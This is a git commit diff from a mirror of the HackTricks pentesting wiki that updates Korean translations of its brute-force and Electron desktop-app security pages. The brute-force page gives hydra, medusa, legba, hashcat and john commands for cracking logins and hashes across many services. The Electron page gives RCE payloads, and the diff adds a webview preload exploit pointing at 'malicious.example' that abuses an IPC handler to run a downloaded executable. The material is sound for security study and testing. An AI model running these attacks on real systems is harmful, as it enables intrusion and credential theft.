mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/brute-force.md', 'src/network-services-
This commit is contained in:
parent
1edab4a222
commit
00c26952d4
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 기본 자격 증명
|
||||
## Default Credentials
|
||||
|
||||
**구글에서 검색**하여 사용 중인 기술의 기본 자격 증명을 찾거나 **다음 링크를 시도**하세요:
|
||||
**구글에서** 사용 중인 기술의 기본 자격 증명을 검색하거나 **다음 링크를 시도해 보세요**:
|
||||
|
||||
- [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
||||
- [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
||||
@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
|
||||
^ Special characters including spac
|
||||
crunch 6 8 -t ,@@^^%%
|
||||
```
|
||||
### Cewl
|
||||
### 웹사이트 기반 단어 목록
|
||||
```bash
|
||||
# Cewl gets words from the victims page
|
||||
cewl example.com -m 5 -w words.txt
|
||||
|
||||
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
|
||||
cat /path/to/urls.txt | tok
|
||||
|
||||
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
|
||||
cat /path/to/js-urls.txt | python3 getjswords.py
|
||||
```
|
||||
### [CUPP](https://github.com/Mebus/cupp)
|
||||
|
||||
@ -46,7 +53,7 @@ python3 cupp.py -h
|
||||
```
|
||||
### [Wister](https://github.com/cycurity/wister)
|
||||
|
||||
단어 목록 생성기 도구로, 단어 집합을 제공할 수 있으며, 주어진 단어에서 여러 변형을 만들 수 있는 가능성을 제공합니다. 특정 대상을 위해 사용할 수 있는 독특하고 이상적인 단어 목록을 생성합니다.
|
||||
단어 목록 생성기 도구로, 단어 집합을 제공할 수 있으며, 주어진 단어로부터 여러 변형을 만들 수 있는 가능성을 제공합니다. 특정 대상을 위해 사용할 수 있는 독특하고 이상적인 단어 목록을 생성합니다.
|
||||
```bash
|
||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||
|
||||
@ -67,7 +74,7 @@ Finished in 0.920s.
|
||||
```
|
||||
### [pydictor](https://github.com/LandGrey/pydictor)
|
||||
|
||||
### 단어 목록
|
||||
### Wordlists
|
||||
|
||||
- [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
|
||||
- [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
|
||||
@ -80,9 +87,9 @@ Finished in 0.920s.
|
||||
- [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
|
||||
- [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
|
||||
|
||||
## 서비스
|
||||
## Services
|
||||
|
||||
서비스 이름순으로 정렬되었습니다.
|
||||
서비스 이름에 따라 알파벳 순으로 정렬되었습니다.
|
||||
|
||||
### AFP
|
||||
```bash
|
||||
@ -117,7 +124,7 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
||||
```
|
||||
### 엘라스틱서치
|
||||
### Elasticsearch
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||
```
|
||||
@ -128,7 +135,7 @@ ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
||||
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
|
||||
```
|
||||
### HTTP 일반 브루트
|
||||
### HTTP Generic Brute
|
||||
|
||||
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
||||
|
||||
@ -144,7 +151,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
|
||||
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
```
|
||||
### HTTP - 포스트 폼
|
||||
### HTTP - Post Form
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||
# Use https-post-form mode for https
|
||||
@ -247,7 +254,7 @@ medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on fir
|
||||
#Legba
|
||||
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
|
||||
```
|
||||
### 오라클SQL
|
||||
### OracleSQL
|
||||
```bash
|
||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||
|
||||
@ -302,7 +309,7 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho
|
||||
```
|
||||
### PPTP
|
||||
|
||||
`.deb` 패키지를 설치하려면 [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)에서 다운로드할 수 있습니다.
|
||||
`.deb` 패키지를 [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)에서 다운로드하여 설치할 수 있습니다.
|
||||
```bash
|
||||
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
||||
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||||
@ -399,7 +406,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
|
||||
|
||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ 및 OpenMQ)
|
||||
|
||||
STOMP 텍스트 프로토콜은 **RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기 있는 메시지 큐 서비스와의 원활한 통신 및 상호작용을 허용하는** 널리 사용되는 메시징 프로토콜입니다. 이는 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화되고 효율적인 접근 방식을 제공합니다.
|
||||
STOMP 텍스트 프로토콜은 **RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기 있는 메시지 큐 서비스와의 원활한 통신 및 상호작용을 허용하는** 널리 사용되는 메시징 프로토콜입니다. 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화되고 효율적인 접근 방식을 제공합니다.
|
||||
```bash
|
||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||
```
|
||||
@ -437,13 +444,13 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
||||
```bash
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
```
|
||||
## 로컬
|
||||
## Local
|
||||
|
||||
### 온라인 크래킹 데이터베이스
|
||||
### Online cracking databases
|
||||
|
||||
- [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
|
||||
- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ESS/SSP 유무 및 모든 챌린지 값 포함)
|
||||
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (해시, WPA2 캡처 및 MSOffice, ZIP, PDF 아카이브...)
|
||||
- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value)
|
||||
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (해시, WPA2 캡처, MSOffice, ZIP, PDF 아카이브...)
|
||||
- [https://crackstation.net/](https://crackstation.net) (해시)
|
||||
- [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
|
||||
- [https://gpuhash.me/](https://gpuhash.me) (해시 및 파일 해시)
|
||||
@ -453,7 +460,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||
- [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||
|
||||
해시를 브루트 포스하기 전에 이 내용을 확인하세요.
|
||||
해시를 무차별 대입 공격하기 전에 이 내용을 확인하세요.
|
||||
|
||||
### ZIP
|
||||
```bash
|
||||
@ -474,7 +481,7 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||
#### 알려진 평문 zip 공격
|
||||
|
||||
암호화된 zip 안에 포함된 **파일의 평문** (또는 평문의 일부)을 알아야 합니다. 암호화된 zip 안에 포함된 **파일의 이름과 크기**를 확인하려면 다음을 실행하세요: **`7z l encrypted.zip`**\
|
||||
[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)를 릴리스 페이지에서 다운로드하세요.
|
||||
[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) 를 릴리스 페이지에서 다운로드하세요.
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
zip plaintext.zip plaintext.file
|
||||
@ -528,7 +535,7 @@ Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
||||
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
|
||||
```
|
||||
### 키패스
|
||||
### Keepass
|
||||
```bash
|
||||
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
||||
keepass2john file.kdbx > hash #The keepass is only using password
|
||||
@ -536,7 +543,7 @@ keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a f
|
||||
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
||||
```
|
||||
### 케베로스팅
|
||||
### Keberoasting
|
||||
```bash
|
||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
@ -579,13 +586,13 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||
|
||||
<figure><img src="../images/image (663).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### DPAPI 마스터 키
|
||||
### DPAPI Master Key
|
||||
|
||||
[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)를 사용한 다음 john을 실행하세요.
|
||||
Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john
|
||||
|
||||
### Open Office 비밀번호 보호 열
|
||||
### Open Office Pwd Protected Column
|
||||
|
||||
비밀번호로 보호된 열이 있는 xlsx 파일이 있는 경우 다음과 같이 해제할 수 있습니다:
|
||||
비밀번호로 보호된 열이 있는 xlsx 파일이 있는 경우, 다음과 같이 보호를 해제할 수 있습니다:
|
||||
|
||||
- **구글 드라이브에 업로드**하면 비밀번호가 자동으로 제거됩니다.
|
||||
- **수동으로 제거**하려면:
|
||||
@ -622,7 +629,7 @@ hash-identifier
|
||||
|
||||
### **단어 목록 생성 도구**
|
||||
|
||||
- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 구성 가능한 기본 문자, 키맵 및 경로가 있는 고급 키보드 워크 생성기.
|
||||
- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 구성 가능한 기본 문자, 키맵 및 경로를 가진 고급 키보드 워크 생성기.
|
||||
```bash
|
||||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||||
```
|
||||
@ -637,7 +644,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||
|
||||
#### Hashcat 공격
|
||||
|
||||
- **단어 목록 공격** (`-a 0`) 규칙과 함께
|
||||
- **단어 목록 공격** (`-a 0`) 규칙 포함
|
||||
|
||||
**Hashcat**은 이미 **규칙이 포함된 폴더**와 함께 제공되지만 [**여기에서 다른 흥미로운 규칙을 찾을 수 있습니다**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||||
```
|
||||
@ -646,7 +653,7 @@ hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
||||
- **Wordlist combinator** 공격
|
||||
|
||||
hashcat을 사용하여 **2개의 단어 목록을 1개로 결합**할 수 있습니다.\
|
||||
목록 1에 단어 **"hello"**가 포함되어 있고 두 번째 목록에 **"world"**와 **"earth"**라는 단어가 있는 2개의 줄이 포함되어 있다고 가정합니다. `helloworld`와 `helloearth`가 생성됩니다.
|
||||
리스트 1에 단어 **"hello"**가 포함되어 있고 두 번째 리스트에 **"world"**와 **"earth"**라는 단어가 있는 2개의 줄이 포함되어 있다고 가정합니다. `helloworld`와 `helloearth`라는 단어가 생성됩니다.
|
||||
```bash
|
||||
# This will combine 2 wordlists
|
||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||||
@ -657,7 +664,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||||
## hello-earth!
|
||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
|
||||
```
|
||||
- **마스크 공격** (`-a 3`)
|
||||
- **Mask attack** (`-a 3`)
|
||||
```bash
|
||||
# Mask attack with simple mask
|
||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
|
||||
|
@ -19,12 +19,12 @@ Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 지정
|
||||
```
|
||||
Electron에는 2가지 프로세스 유형이 있습니다:
|
||||
|
||||
- 메인 프로세스 (NodeJS에 대한 완전한 접근 권한을 가짐)
|
||||
- 렌더러 프로세스 (보안상의 이유로 NodeJS 접근 권한이 제한되어야 함)
|
||||
- Main Process (NodeJS에 완전 접근 가능)
|
||||
- Renderer Process (보안상의 이유로 NodeJS 접근 제한 필요)
|
||||
|
||||
.png>)
|
||||
|
||||
**렌더러 프로세스**는 파일을 로드하는 브라우저 창이 될 것입니다:
|
||||
**renderer process**는 파일을 로드하는 브라우저 창이 될 것입니다:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,17 +32,17 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
**렌더러 프로세스**의 설정은 **main.js** 파일의 **메인 프로세스**에서 **구성**할 수 있습니다. 일부 구성은 **설정이 올바르게 구성된 경우** Electron 애플리케이션이 RCE 또는 기타 취약점에 노출되는 것을 **방지**합니다.
|
||||
**렌더러 프로세스**의 설정은 **main.js** 파일의 **메인 프로세스**에서 **구성**할 수 있습니다. 일부 구성은 **설정이 올바르게 구성되면** Electron 애플리케이션이 RCE 또는 기타 취약점에 노출되는 것을 **방지**합니다.
|
||||
|
||||
Electron 애플리케이션은 Node API를 통해 **장치에 접근할 수 있지만**, 이를 방지하도록 구성할 수 있습니다:
|
||||
|
||||
- **`nodeIntegration`** - 기본값은 `off`입니다. 켜면 렌더러 프로세스에서 Node 기능에 접근할 수 있습니다.
|
||||
- **`nodeIntegration`** - 기본값은 `off`입니다. 켜면 렌더러 프로세스에서 노드 기능에 접근할 수 있습니다.
|
||||
- **`contextIsolation`** - 기본값은 `on`입니다. 꺼지면 메인 프로세스와 렌더러 프로세스가 격리되지 않습니다.
|
||||
- **`preload`** - 기본값은 비어 있습니다.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본값은 꺼져 있습니다. NodeJS가 수행할 수 있는 작업을 제한합니다.
|
||||
- 워커에서의 Node 통합
|
||||
- **`nodeIntegrationInSubframes`** - 기본값은 꺼져 있습니다.
|
||||
- **`nodeIntegration`**이 **활성화**되면, 이는 Electron 애플리케이션 내의 **iframe**에 로드된 웹 페이지에서 **Node.js API**를 사용할 수 있게 합니다.
|
||||
- **`nodeIntegration`**이 **활성화**되면, 이는 Electron 애플리케이션 내의 **iframe에 로드된 웹 페이지에서 Node.js API**를 사용할 수 있게 합니다.
|
||||
- **`nodeIntegration`**이 **비활성화**되면, 프리로드는 iframe에서 로드됩니다.
|
||||
|
||||
구성 예시:
|
||||
@ -111,7 +111,7 @@ Electron 앱을 로컬에서 실행할 수 있다면 임의의 자바스크립
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
**nodeIntegration**이 **on**으로 설정되어 있으면, 웹 페이지의 자바스크립트는 `require()`를 호출하는 것만으로도 Node.js 기능을 쉽게 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다:
|
||||
**nodeIntegration**이 **on**으로 설정되어 있다면, 웹 페이지의 자바스크립트는 `require()`를 호출하는 것만으로 Node.js 기능을 쉽게 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
이 설정에서 표시된 스크립트는 **렌더러의 다른 스크립트보다 먼저 로드**되므로 **Node API에 무제한으로 접근**할 수 있습니다:
|
||||
이 설정에서 언급된 스크립트는 **렌더러의 다른 스크립트보다 먼저 로드되므로**, **Node API에 무제한으로 접근할 수 있습니다**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -158,10 +158,10 @@ _**contextIsolation**_은 **웹 페이지 스크립트와 JavaScript Electron의
|
||||
|
||||
1. **렌더러에서 임의의 JavaScript 실행** (XSS 또는 외부 사이트로의 탐색)
|
||||
2. **프리로드 또는 Electron 내부 코드에서 사용되는 내장 메서드**를 자신의 함수로 덮어쓰기
|
||||
3. **덮어쓴 함수의 사용을 트리거**
|
||||
3. **덮어쓴 함수의 사용**을 **트리거**
|
||||
4. RCE?
|
||||
|
||||
내장 메서드를 덮어쓸 수 있는 두 곳이 있습니다: 프리로드 코드 또는 Electron 내부 코드에서:
|
||||
내장 메서드를 덮어쓸 수 있는 두 곳이 있습니다: 프리로드 코드 또는 Electron 내부 코드:
|
||||
|
||||
{{#ref}}
|
||||
electron-contextisolation-rce-via-preload-code.md
|
||||
@ -185,14 +185,14 @@ window.addEventListener('click', (e) => {
|
||||
|
||||
이 예제에 대한 자세한 정보는 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)를 확인하세요.
|
||||
|
||||
Electron 데스크탑 애플리케이션을 배포할 때 `nodeIntegration` 및 `contextIsolation`에 대한 올바른 설정을 보장하는 것이 중요합니다. **클라이언트 측 원격 코드 실행 (RCE)**이 프리로드 스크립트 또는 메인 프로세스의 Electron 기본 코드를 대상으로 할 때 이러한 설정이 적용되면 효과적으로 방지된다는 것이 확립되었습니다.
|
||||
Electron 데스크탑 애플리케이션을 배포할 때 `nodeIntegration` 및 `contextIsolation`에 대한 올바른 설정을 보장하는 것이 중요합니다. 이러한 설정이 적용되면 **클라이언트 측 원격 코드 실행 (RCE)**이 프리로드 스크립트나 메인 프로세스의 Electron 네이티브 코드를 대상으로 하는 것을 효과적으로 방지할 수 있습니다.
|
||||
|
||||
사용자가 링크와 상호작용하거나 새 창을 열 때, 애플리케이션의 보안 및 기능에 중요한 특정 이벤트 리스너가 트리거됩니다:
|
||||
사용자가 링크와 상호작용하거나 새 창을 열면, 애플리케이션의 보안 및 기능에 중요한 특정 이벤트 리스너가 트리거됩니다:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
이 리스너는 **데스크탑 애플리케이션에 의해 재정의되어** 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크가 내부에서 열려야 하는지 또는 외부 웹 브라우저에서 열려야 하는지를 평가합니다. 이 결정은 일반적으로 `openInternally`라는 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면 링크가 외부에서 열려야 함을 나타내며, `shell.openExternal` 함수를 사용합니다.
|
||||
이 리스너는 **데스크탑 애플리케이션에 의해 재정의되어** 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크가 내부에서 열려야 하는지 또는 외부 웹 브라우저에서 열려야 하는지를 평가합니다. 이 결정은 일반적으로 `openInternally`라는 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면, 링크가 외부에서 열려야 함을 나타내며, `shell.openExternal` 함수를 사용합니다.
|
||||
|
||||
**여기 간단한 의사코드가 있습니다:**
|
||||
|
||||
@ -224,6 +224,27 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## RCE: webviewTag + 취약한 preload IPC + shell.openExternal
|
||||
|
||||
이 취약점은 **[이 보고서](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**에서 찾을 수 있습니다.
|
||||
|
||||
**webviewTag**는 **더 이상 사용되지 않는 기능**으로, **렌더러 프로세스**에서 **NodeJS**를 사용할 수 있게 해주며, 이는 preload 컨텍스트 내에서 스크립트를 로드할 수 있게 하므로 비활성화해야 합니다.
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
따라서, 임의의 페이지를 로드할 수 있는 공격자는 해당 태그를 사용하여 **임의의 프리로드 스크립트**를 로드할 수 있습니다.
|
||||
|
||||
이 프리로드 스크립트는 **취약한 IPC 서비스(`skype-new-window`)**를 호출하는 데 악용되었으며, 이 서비스는 **`shell.openExternal`**을 호출하여 RCE를 얻었습니다:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
|
||||
setTimeout(async () => {
|
||||
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
|
||||
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
|
||||
}, 5000);
|
||||
})();
|
||||
```
|
||||
## 내부 파일 읽기: XSS + contextIsolation
|
||||
|
||||
**`contextIsolation` 비활성화는 `<webview>` 태그의 사용을 가능하게 하여**, `<iframe>`과 유사하게 로컬 파일을 읽고 유출할 수 있습니다. 제공된 예시는 이 취약점을 이용하여 내부 파일의 내용을 읽는 방법을 보여줍니다:
|
||||
@ -260,7 +281,7 @@ XSS를 발견했지만 **RCE를 트리거하거나 내부 파일을 훔칠 수
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
**`openInternally`**에 대한 호출은 **링크**가 플랫폼에 속하는 링크이기 때문에 **데스크탑 창**에서 **열릴지** 아니면 **브라우저에서 3rd 파티 리소스**로 열릴지를 결정합니다.
|
||||
**`openInternally`** 호출은 **링크**가 플랫폼에 속하는 링크이기 때문에 **데스크탑 창**에서 **열릴지** 아니면 **브라우저에서 3자 리소스**로 열릴지를 결정합니다.
|
||||
|
||||
함수가 사용하는 **정규 표현식**이 **우회 공격에 취약한 경우**(예: **서브도메인의 점을 이스케이프하지 않는 경우**) 공격자는 XSS를 악용하여 **새 창을 열 수 있습니다**. 이 창은 공격자의 인프라에 위치하며 **사용자에게 자격 증명을 요청**합니다:
|
||||
```html
|
||||
@ -268,17 +289,21 @@ webContents.on("will-navigate", function (event, url) {} // o
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## Remote module
|
||||
## `file://` 프로토콜
|
||||
|
||||
Electron Remote 모듈은 **렌더러 프로세스가 메인 프로세스 API에 접근할 수 있도록** 하여 Electron 애플리케이션 내에서의 통신을 용이하게 합니다. 그러나 이 모듈을 활성화하면 상당한 보안 위험이 발생합니다. 애플리케이션의 공격 표면이 확장되어 교차 사이트 스크립팅(XSS) 공격과 같은 취약점에 더 취약해집니다.
|
||||
[문서](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols)에서 언급했듯이 **`file://`**에서 실행되는 페이지는 머신의 모든 파일에 일방적인 접근을 가지므로 **XSS 문제를 사용하여 사용자의 머신에서 임의의 파일을 로드할 수 있습니다**. **커스텀 프로토콜**을 사용하면 특정 파일 집합만 제공하도록 프로토콜을 제한할 수 있으므로 이러한 문제를 방지할 수 있습니다.
|
||||
|
||||
## 원격 모듈
|
||||
|
||||
Electron 원격 모듈은 **렌더러 프로세스가 메인 프로세스 API에 접근할 수 있도록** 하여 Electron 애플리케이션 내에서의 통신을 용이하게 합니다. 그러나 이 모듈을 활성화하면 상당한 보안 위험이 발생합니다. 애플리케이션의 공격 표면이 확장되어 교차 사이트 스크립팅(XSS) 공격과 같은 취약점에 더 취약해집니다.
|
||||
|
||||
> [!TIP]
|
||||
> **remote** 모듈이 메인에서 렌더러 프로세스로 일부 API를 노출하지만, 구성 요소만을 악용하여 RCE를 얻는 것은 간단하지 않습니다. 그러나 구성 요소는 민감한 정보를 노출할 수 있습니다.
|
||||
> **원격** 모듈이 메인에서 렌더러 프로세스로 일부 API를 노출하지만, 구성 요소를 남용하는 것만으로 RCE를 얻는 것은 간단하지 않습니다. 그러나 구성 요소는 민감한 정보를 노출할 수 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 여전히 remote 모듈을 사용하는 많은 앱은 렌더러 프로세스에서 **NodeIntegration을 활성화해야** 하는 방식으로 구현되어 있으며, 이는 **엄청난 보안 위험**입니다.
|
||||
> 여전히 원격 모듈을 사용하는 많은 앱은 렌더러 프로세스에서 **NodeIntegration을 활성화해야** 하는 방식으로 구현되어 있으며, 이는 **엄청난 보안 위험**입니다.
|
||||
|
||||
Electron 14부터 `remote` 모듈은 보안 및 성능 이유로 여러 단계에서 활성화될 수 있으며, **사용하지 않는 것이 권장됩니다**.
|
||||
Electron 14부터는 보안 및 성능 이유로 `remote` 모듈이 여러 단계에서 활성화될 수 있으며, **사용하지 않는 것이 권장됩니다**.
|
||||
|
||||
활성화하려면, 먼저 **메인 프로세스에서 활성화해야** 합니다:
|
||||
```javascript
|
||||
@ -298,21 +323,21 @@ import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**는 원격 모듈의 객체 **`app`**에서 노출된 몇 가지 흥미로운 **기능**을 나타냅니다:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **현재 인스턴스를 종료하고** 새 인스턴스를 **시작하여** 애플리케이션을 **재시작**합니다. **앱 업데이트**나 중요한 **상태 변경**에 유용합니다.
|
||||
- 현재 인스턴스를 **종료**하고 새로운 인스턴스를 **시작**하여 애플리케이션을 **재시작**합니다. **앱 업데이트**나 중요한 **상태 변경**에 유용합니다.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **앱 로그**를 저장할 디렉토리를 **정의**하거나 **생성**합니다. 로그는 **`app.getPath()`** 또는 **`app.setPath(pathName, newPath)`**를 사용하여 **가져오거나** **수정**할 수 있습니다.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- 지정된 **프로토콜**에 대한 **기본 핸들러**로 현재 실행 파일을 **등록**합니다. 필요에 따라 **사용자 지정 경로**와 **인수**를 제공할 수 있습니다.
|
||||
- 현재 실행 파일을 지정된 **프로토콜**의 **기본 핸들러**로 **등록**합니다. 필요에 따라 **사용자 정의 경로**와 **인수**를 제공할 수 있습니다.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **작업 목록**(Windows에서)에서 **작업 카테고리**에 작업을 **추가**합니다. 각 작업은 앱이 **시작되는 방식**이나 전달되는 **인수**를 제어할 수 있습니다.
|
||||
- **작업 목록**의 **작업 카테고리**에 작업을 **추가**합니다 (Windows에서). 각 작업은 앱이 **시작**되는 방식이나 전달되는 **인수**를 제어할 수 있습니다.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- 시스템의 **인증서 저장소**에 **PKCS#12 인증서**를 **가져옵니다**(Linux 전용). 결과를 처리하기 위해 **콜백**을 사용할 수 있습니다.
|
||||
- 시스템의 **인증서 저장소**에 **PKCS#12 인증서**를 **가져옵니다** (Linux 전용). 결과를 처리하기 위해 **콜백**을 사용할 수 있습니다.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
